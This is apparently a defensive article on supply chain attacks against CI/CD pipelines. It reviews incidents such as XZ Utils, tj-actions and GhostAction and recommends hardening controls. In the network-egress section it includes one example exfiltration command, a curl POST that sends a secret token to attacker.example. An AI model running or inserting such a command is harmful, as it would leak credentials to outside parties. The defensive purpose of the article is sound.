Supply Chain Attacks Targeting the Development Pipeline
Software supply chain attacks are not new, but the target has shifted.
For years, organizations treated software supply chain risk as mostly a third-party vendor problem: review the vendor, scan the application, patch the vulnerability, and move on. That model is no longer enough. Modern attackers are increasingly targeting the development pipeline itself: source repositories, package registries, developer workstations, CI/CD workflows, build scripts, GitHub Actions, IDE extensions, publishing tokens, and automation credentials.
The reason is simple: the development pipeline is where trust is created.
If an attacker can compromise a dependency, a maintainer account, a workflow, or a build environment, they may not need to exploit production directly. They can cause trusted systems to build, sign, publish, or deploy malicious code on their behalf.
The pipeline is no longer just where software is built. It is part of the production attack surface.

Why development pipelines are such attractive targets
A modern development environment often has access to:
- Source code
- Deployment credentials
- Package publishing tokens
- Cloud credentials
- Container registries
- Infrastructure-as-code templates
- Secrets used during testing and deployment
- Developer SSH keys and API tokens
- GitHub, GitLab, Azure DevOps, npm, PyPI, DockerHub, and cloud provider credentials
That makes the development environment one of the most credential-dense areas in the enterprise.
A compromised web server might expose one application. A compromised CI/CD pipeline may expose every application that pipeline can build or deploy.
Recent examples show the pattern
The most useful way to think about these attacks is not as isolated incidents, but as variations on the same theme: attackers look for a trusted step in the software delivery process and turn it into a distribution mechanism.
| Incident | Targeted trust point | What made it dangerous |
|---|---|---|
| XZ Utils backdoor | Open-source maintainer/release process | Malicious code was introduced into a foundational compression library used across Linux ecosystems |
tj-actions/changed-files |
GitHub Action tags and CI/CD workflow execution | Tags were modified to point to malicious code that exposed secrets in workflow logs |
| Nx / s1ngularity | npm packages and publishing workflow | Malicious packages scanned developer and CI environments for secrets |
| GhostAction | GitHub Actions workflow files | Malicious workflows exfiltrated secrets from repositories |
| Malicious IDE extensions | Developer workstation tooling | Extensions can access files, terminals, tokens, and source code |
Example 1: XZ Utils and the danger of trusted maintainership
The XZ Utils backdoor, tracked as CVE-2024-3094, is one of the clearest examples of supply chain risk moving beyond simple dependency scanning.
XZ Utils is a widely used compression project. Its underlying library, liblzma, is present across many Linux distributions. In this case, the attack was not a simple typo-squatted package or a drive-by malicious upload. The attacker built trust over time, contributed to the project, and eventually gained enough influence to affect releases.
Akamai summarized the issue as malicious code pushed into XZ Utils by a maintainer, with later analysis indicating the backdoor enabled remote code execution rather than only an SSH authentication bypass.1
The important lesson is that the malicious behavior was not just hidden in normal application code. The attack involved the release and build process. Some malicious pieces were not plainly visible in the public repository in the same way downstream consumers might expect. That matters because many organizations assume that reviewing a Git repository is equivalent to reviewing the artifact they actually build and deploy.
It is not.
Repository source != release tarball != built artifact != deployed package
Each step can introduce risk.
What XZ teaches organizations
XZ is a reminder that open-source trust is not a binary decision. A project can be legitimate, useful, widely deployed, and still become a target.
Practical takeaways:
- Know which open-source components are critical to your environment.
- Track both source repositories and release artifacts.
- Prefer reproducible builds where possible.
- Avoid blindly trusting newly released versions of critical dependencies.
- Monitor for unusual maintainer, release, or package behavior.
- Treat build scripts, test files, generated files, and release packaging as security-relevant.
Example 2: tj-actions/changed-files and mutable CI/CD dependencies
The tj-actions/changed-files incident is a direct example of attackers targeting CI/CD trust.
The GitHub Advisory Database states that a supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting more than 23,000 repositories. Attackers retroactively modified multiple version tags to point to a malicious commit, causing secrets to be exposed in GitHub Actions logs during the affected window.2
This is especially important because many teams reference GitHub Actions by tag:
uses: tj-actions/changed-files@v44
That looks controlled, but tags can move.
If an attacker can modify a tag, then the workflow may execute different code tomorrow than it did yesterday.
The safer pattern is to pin third-party actions to a full commit SHA:
uses: tj-actions/changed-files@24d32ffd492484c1d75e0c0b894501ddb9d30d62
That is less convenient, but it changes the trust model. A version tag is a name. A commit SHA is an immutable content reference for practical operational purposes.
GitHub’s own security guidance says pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release.3
Bad pattern
name: Unsafe CI Example
on:
pull_request:
jobs:
changed-files:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Get changed files
uses: tj-actions/changed-files@v44
Better pattern
name: Safer CI Example
on:
pull_request:
permissions:
contents: read
jobs:
changed-files:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332
- name: Get changed files
uses: tj-actions/changed-files@24d32ffd492484c1d75e0c0b894501ddb9d30d62
The exact commit SHA should be selected and reviewed by the organization. The point is not to copy the sample value above blindly. The point is to stop allowing mutable external references to execute inside trusted workflows.
Example 3: Nx / s1ngularity and malicious packages in developer environments
The Nx/s1ngularity attack showed how damaging a compromised package publishing path can be.
According to the Nx postmortem, on August 26, 2025, malicious versions of several Nx packages were published to npm. Attackers exploited a GitHub Actions injection vulnerability, stole an npm publishing token, and published malicious packages for approximately four hours. Nx later implemented npm Trusted Publishers, manual approval for releases, and other security improvements.4
The malicious packages scanned systems for sensitive data and uploaded stolen data to public GitHub repositories.4
This matters because package installation is often treated as a harmless development activity.
It is not.
Many package ecosystems allow install-time scripts. That means installing a dependency can execute code before the developer has even imported it into an application.
npm install some-package
That command may do more than download code. Depending on package behavior and configuration, it may run lifecycle scripts such as preinstall, install, or postinstall.
Safer npm install behavior in CI
One practical hardening step is to disable lifecycle scripts where they are not required:
npm ci --ignore-scripts
That is not universally compatible with every project, but it is a strong default for environments where dependencies should be fetched and verified before any package-provided script is allowed to run.
If a build truly requires install scripts, that exception should be explicit, reviewed, and documented.
Example 4: GhostAction and malicious workflow files
The GhostAction campaign is a reminder that the workflow file itself is sensitive code.
GitGuardian reported that GhostAction affected 327 GitHub users across 817 repositories and exfiltrated 3,325 secrets through compromised GitHub workflows.5
That means the attacker did not necessarily need to compromise the final application. By injecting or modifying workflow files, they could cause the automation platform to run malicious steps inside a trusted CI/CD context.
A GitHub Actions workflow can:
- Read repository contents
- Access workflow secrets
- Build artifacts
- Publish packages
- Push tags
- Deploy infrastructure
- Authenticate to cloud providers
- Call external URLs
That makes this file security-sensitive:
.github/workflows/*.yml
A change to a workflow should be reviewed with the same seriousness as a change to authentication code, deployment code, or infrastructure-as-code.
The control problem: security cannot rely on developer memory
Most organizations already know the generic advice:
- Use MFA
- Scan dependencies
- Review code
- Rotate secrets
- Patch quickly
- Use least privilege
That advice is correct, but incomplete.
The hard part is enforcement.
A control that depends on every developer remembering every security rule every time is not really a control. It is a suggestion.
The better approach is to move from guidance to guardrails.
Practical controls that actually help
1. Restrict who can change pipeline definitions
CI/CD workflow files should be protected.
For GitHub, protect paths like:
.github/workflows/**
For GitLab, protect:
.gitlab-ci.yml
For Azure DevOps, protect:
azure-pipelines.yml
A practical policy might be:
| File path | Required review |
|---|---|
.github/workflows/** |
Security or DevOps approval |
Dockerfile |
Platform or security review |
package.json / package-lock.json |
App owner review plus dependency scanning |
requirements.txt / poetry.lock |
App owner review plus dependency scanning |
| Terraform modules | Infrastructure owner review |
| Deployment manifests | Platform owner review |
Example GitHub CODEOWNERS entry:
# Require security/platform review for CI/CD and deployment-sensitive files
.github/workflows/** @org/security-engineering @org/platform-engineering
Dockerfile @org/platform-engineering
docker-compose.yml @org/platform-engineering
k8s/** @org/platform-engineering
terraform/** @org/cloud-engineering
package.json @org/appsec
package-lock.json @org/appsec
requirements.txt @org/appsec
poetry.lock @org/appsec
This does not prevent every problem, but it raises the bar.
2. Pin GitHub Actions to commit SHAs
Avoid this:
uses: some-owner/some-action@v1
Prefer this:
uses: some-owner/some-action@8f4b7f84864484a7bf9f9f7e6c3d0b08c8a6f11a
Then use automation to track and update pinned references through reviewed pull requests.
A workable process:
- All third-party actions must be pinned to full commit SHAs.
- Dependabot or Renovate opens update PRs.
- CI tests the update.
- Security or platform engineering reviews the action diff/release.
- The update is merged after approval.
This creates friction, but it creates useful friction in the exact place attackers are trying to exploit.
3. Set default workflow permissions to read-only
Many workflows run with more permission than they need.
Set default permissions as low as possible:
permissions:
contents: read
Then grant additional permissions only where needed:
permissions:
contents: read
packages: write
Avoid broad permissions unless the job truly requires them.
A release job might need package publishing rights. A lint job does not.
4. Separate build, test, and deploy credentials
A common mistake is giving the same pipeline context access to everything.
A safer model:
| Stage | Access level |
|---|---|
| Pull request validation | No secrets or read-only test secrets |
| Build | Read source and write build artifacts |
| Security scan | Read source and read artifacts |
| Package publish | Publish only to approved registry |
| Deploy to staging | Staging-only credentials |
| Deploy to production | Production credentials, gated approval, protected environment |
Do not give pull request workflows access to production credentials.
Do not give build jobs deployment rights unless they are actually deploying.
Do not give every repository a shared organization-wide cloud key.
5. Use short-lived identity instead of long-lived secrets
Long-lived static secrets are highly valuable to attackers.
Where possible, use OIDC federation from your CI/CD platform to your cloud provider. This allows a workflow to request short-lived credentials instead of storing long-lived cloud keys as repository secrets.
Conceptually:
GitHub Actions job
-> requests OIDC token
-> cloud provider validates repository, branch, workflow, and audience
-> cloud provider issues short-lived credentials
-> credentials expire automatically
A policy can be scoped tightly:
{
"repository": "org/example-app",
"branch": "main",
"workflow": "deploy-production.yml",
"environment": "production"
}
That is much better than storing an AWS, Azure, or GCP key that can be copied and reused elsewhere.
6. Control package sources
Developers should not be pulling arbitrary packages directly from the public internet in enterprise builds.
A practical approach:
Developer / CI
-> internal artifact proxy
-> approved upstream package registries
Examples:
- npm proxy through Artifactory, Nexus, Azure Artifacts, GitHub Packages, or another controlled registry
- PyPI proxy for Python packages
- Container image proxy/cache for base images
- Approved internal module registries for Terraform and other IaC dependencies
Example .npmrc:
registry=https://artifacts.example.com/npm/
always-auth=true
Example pip.conf:
[global]
index-url = https://artifacts.example.com/pypi/simple
trusted-host = artifacts.example.com
require-virtualenv = true
For higher control, block direct egress from CI runners to public package registries and require package retrieval through the approved proxy.
7. Enforce dependency lockfiles
Lockfiles make builds more reproducible and reduce surprise dependency changes.
For npm:
npm ci
Instead of:
npm install
For Python, use pinned dependencies:
requests==2.32.4
urllib3==2.5.0
For stronger Python pinning, use hashes:
requests==2.32.4 \
--hash=sha256:examplehashgoeshere
The goal is to make dependency changes visible in code review.
A pull request that changes only application logic should not silently change 40 transitive dependencies.
8. Require SBOMs and provenance for release artifacts
A Software Bill of Materials helps answer:
- What did we ship?
- Which components are inside it?
- Which versions are affected by a new vulnerability?
- Which applications use a compromised dependency?
Example SBOM generation with Syft:
syft packages dir:. -o cyclonedx-json > sbom.cdx.json
Example container SBOM:
syft packages registry.example.com/app/example:1.2.3 -o spdx-json > sbom.spdx.json
SBOMs are not magic. They do not prevent compromise by themselves. But without them, incident response becomes guesswork.
9. Scan for secrets before code reaches the repository
Secret scanning should happen in multiple places:
- Developer pre-commit hook
- Pull request scan
- Repository continuous scan
- CI/CD log scan
- Artifact scan
Example using gitleaks locally:
gitleaks detect --source . --verbose
Example pre-commit style workflow:
name: Secret Scan
on:
pull_request:
permissions:
contents: read
jobs:
gitleaks:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332
- name: Run gitleaks
run: |
docker run --rm -v "$PWD:/repo" zricethezav/gitleaks:latest detect --source=/repo --verbose
In a mature environment, avoid latest for the scanner image as well. Pin that image to a known digest.
10. Restrict network egress from CI runners
Many pipeline attacks require outbound access to exfiltrate secrets.
If CI runners can call any host on the internet, a malicious workflow can do something like:
curl -X POST https://attacker.example/upload \
-d "$SUPER_SECRET_TOKEN"
A hardened runner should have limited egress:
| Destination | Allow? |
|---|---|
| Internal artifact repository | Yes |
| Approved package registry proxy | Yes |
| Approved cloud APIs | Yes, scoped |
| Source control platform | Yes |
| Arbitrary internet hosts | No |
| Paste sites / public gist endpoints | No |
| Unknown IP addresses | No |
This is especially important for self-hosted runners.
11. Treat developer workstations as part of the pipeline
Developer endpoints often have:
- SSH keys
- Git credentials
- Browser sessions
- Cloud CLIs
- npm/PyPI tokens
- IDE extensions
- Local copies of private repositories
- Access to internal documentation and systems
That makes the developer workstation a supply chain target.
Practical controls:
- Require managed devices for repository access.
- Use EDR/XDR with developer-tool visibility.
- Restrict unapproved IDE extensions.
- Disable automatic trust of workspace files where possible.
- Separate administrative credentials from development credentials.
- Use hardware-backed MFA.
- Prefer short-lived tokens.
- Remove local persistent publishing tokens.
- Monitor unusual Git activity from developer accounts.
For Visual Studio Code environments, extension governance matters. An extension can be more than syntax highlighting. It may be able to read files, invoke terminals, and interact with developer workflows.
12. Build an exception process that does not become a rubber stamp
Security teams often fail by saying “no” without providing a usable path. Development teams often fail by treating every package or tool request as urgent.
A workable middle ground is a lightweight exception process.
Example package intake criteria:
| Question | Expected answer |
|---|---|
| Is this package required for production or only development? | Identify scope |
| Who maintains it? | Known maintainer or organization |
| How popular is it? | Downloads, stars, usage, community |
| When was it last updated? | Recent enough to be maintained |
| Does it run install scripts? | Yes/no and why |
| Does it request network access? | Yes/no and why |
| Is the license acceptable? | Legal approval if needed |
| Is there a safer internal alternative? | Compare options |
| Can it be pinned? | Required |
| Can it be proxied through internal artifacts? | Required |
The process should be fast for low-risk packages and more rigorous for packages that execute code during install, handle credentials, affect builds, or run in CI/CD.
Example policy: baseline development pipeline controls
A practical baseline might look like this:
Source Control
- MFA required for all users.
- Branch protection required on default branches.
- CODEOWNERS required for CI/CD workflow changes.
- Direct pushes to main are blocked.
- Signed commits required for privileged repositories.
CI/CD
- Workflow permissions default to read-only.
- Third-party actions must be pinned to full commit SHAs.
- Pull request workflows do not receive production secrets.
- Self-hosted runners have restricted network egress.
- Deployment jobs require protected environments and approvals.
Dependencies
- Public packages must be pulled through an internal artifact proxy.
- Lockfiles are required.
- Dependency changes are reviewed.
- Install scripts are disabled in CI unless explicitly approved.
- Critical packages have a minimum age or quarantine period before use.
Secrets
- Long-lived cloud keys are prohibited where OIDC is available.
- Secrets are scanned pre-commit, in pull requests, and continuously.
- Exposed secrets are rotated, not merely removed from Git history.
Build Artifacts
- Release artifacts are generated by CI, not developer laptops.
- SBOMs are generated for release builds.
- Build provenance is retained.
- Container images are pinned by digest for deployment.
Developer Workstations
- Repository access requires managed devices.
- IDE extensions are governed.
- Local publishing tokens are avoided.
- Developer credentials are least privilege and monitored.
Example GitHub Actions hardening pattern
This is a simplified example of a more controlled workflow:
name: Build and Test
on:
pull_request:
push:
branches:
- main
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- name: Checkout source
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332
- name: Use Node.js
uses: actions/setup-node@0a44ba7841725637a19e28fa30b79a866c81b0a6
with:
node-version: "22"
cache: "npm"
- name: Install dependencies without lifecycle scripts
run: npm ci --ignore-scripts
- name: Run tests
run: npm test
- name: Generate SBOM
run: |
syft packages dir:. -o cyclonedx-json > sbom.cdx.json
- name: Upload SBOM artifact
uses: actions/upload-artifact@50769540e7f4bd5e21e526ee35c689e35e0d6874
with:
name: sbom
path: sbom.cdx.json
The exact SHAs above are examples. In a real environment, the organization should verify and update them through a controlled process.
Example: package quarantine
A simple but powerful control is to avoid immediately consuming brand-new package versions.
New public package version released
-> wait 24 to 72 hours
-> scan package
-> check maintainer/reputation signals
-> approve into internal artifact proxy
-> allow developers and CI to consume it
This does not catch everything, but it helps avoid being the first organization to execute a newly published malicious package.
For critical packages, the delay should be longer and the review deeper.
Compliance should be automated
Security policy should be expressed as code wherever possible.
Examples:
- Repository settings managed through Terraform
- Branch protection checked continuously
- CODEOWNERS required and tested
- Workflow files scanned for unpinned actions
- CI permissions linted
- Container images checked for digest pinning
- Dependency files checked for lockfile consistency
- Secrets scanned automatically
- SBOM generation required before release
- Artifact signing required before deployment
A policy that cannot be measured usually cannot be enforced.
What to measure
Useful metrics:
| Metric | Why it matters |
|---|---|
| Percent of workflows using SHA-pinned actions | Reduces mutable dependency risk |
| Repositories with branch protection enabled | Reduces unauthorized direct changes |
| Repositories with CODEOWNERS for CI/CD files | Improves review of pipeline changes |
| Number of long-lived secrets in CI/CD | Measures credential exposure |
| Number of packages bypassing artifact proxy | Detects policy violations |
| Mean time to rotate exposed secrets | Measures incident response readiness |
| Percent of release artifacts with SBOMs | Improves vulnerability response |
| Percent of deployments using signed artifacts | Improves artifact integrity |
The cultural challenge
There is always tension between development speed and control.
Too much friction leads developers to bypass the process. Too little control leaves the organization exposed. The answer is not to turn every developer into a supply chain security expert. The answer is to make the secure path the default path.
Good controls should feel like paved roads:
- Easy to follow
- Hard to accidentally bypass
- Fast enough for normal work
- Strict where the risk justifies it
- Auditable after the fact
Final thoughts
Supply chain security is not just dependency scanning.
It is the security of the entire path from developer workstation to source repository, from source repository to build system, from build system to artifact registry, and from artifact registry to production.
The most important mindset shift is this:
Do not only ask whether your application code is secure. Ask whether the system that creates your application can be trusted.
Organizations that want to reduce this risk should focus on practical, enforceable controls:
- Protect workflow files.
- Pin third-party actions.
- Restrict CI/CD permissions.
- Use short-lived credentials.
- Proxy and govern package sources.
- Require lockfiles.
- Generate SBOMs.
- Limit runner egress.
- Monitor developer tooling.
- Automate compliance checks.
The goal is not perfect security. The goal is to make the attacker’s path harder, noisier, slower, and less likely to succeed.
References
-
Akamai, “XZ Utils Backdoor — Everything You Need to Know, and What You Can Do,” April 1, 2024. https://www.akamai.com/blog/security-research/critical-linux-backdoor-xz-utils-discovered-what-to-know ↩︎
-
GitHub Advisory Database, “tj-actions/changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs,” CVE-2025-30066 / GHSA-mrrh-fwg8-r2c3. https://github.com/advisories/ghsa-mrrh-fwg8-r2c3 ↩︎
-
GitHub Docs, “Secure use reference — Pin actions to a full-length commit SHA.” https://docs.github.com/en/actions/reference/security/secure-use ↩︎
-
Nx, “s1ngularity: What Happened, How We Responded, What We Learned,” September 5, 2025. https://nx.dev/blog/s1ngularity-postmortem ↩︎ ↩︎
-
GitGuardian, “The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows,” September 5, 2025. https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/ ↩︎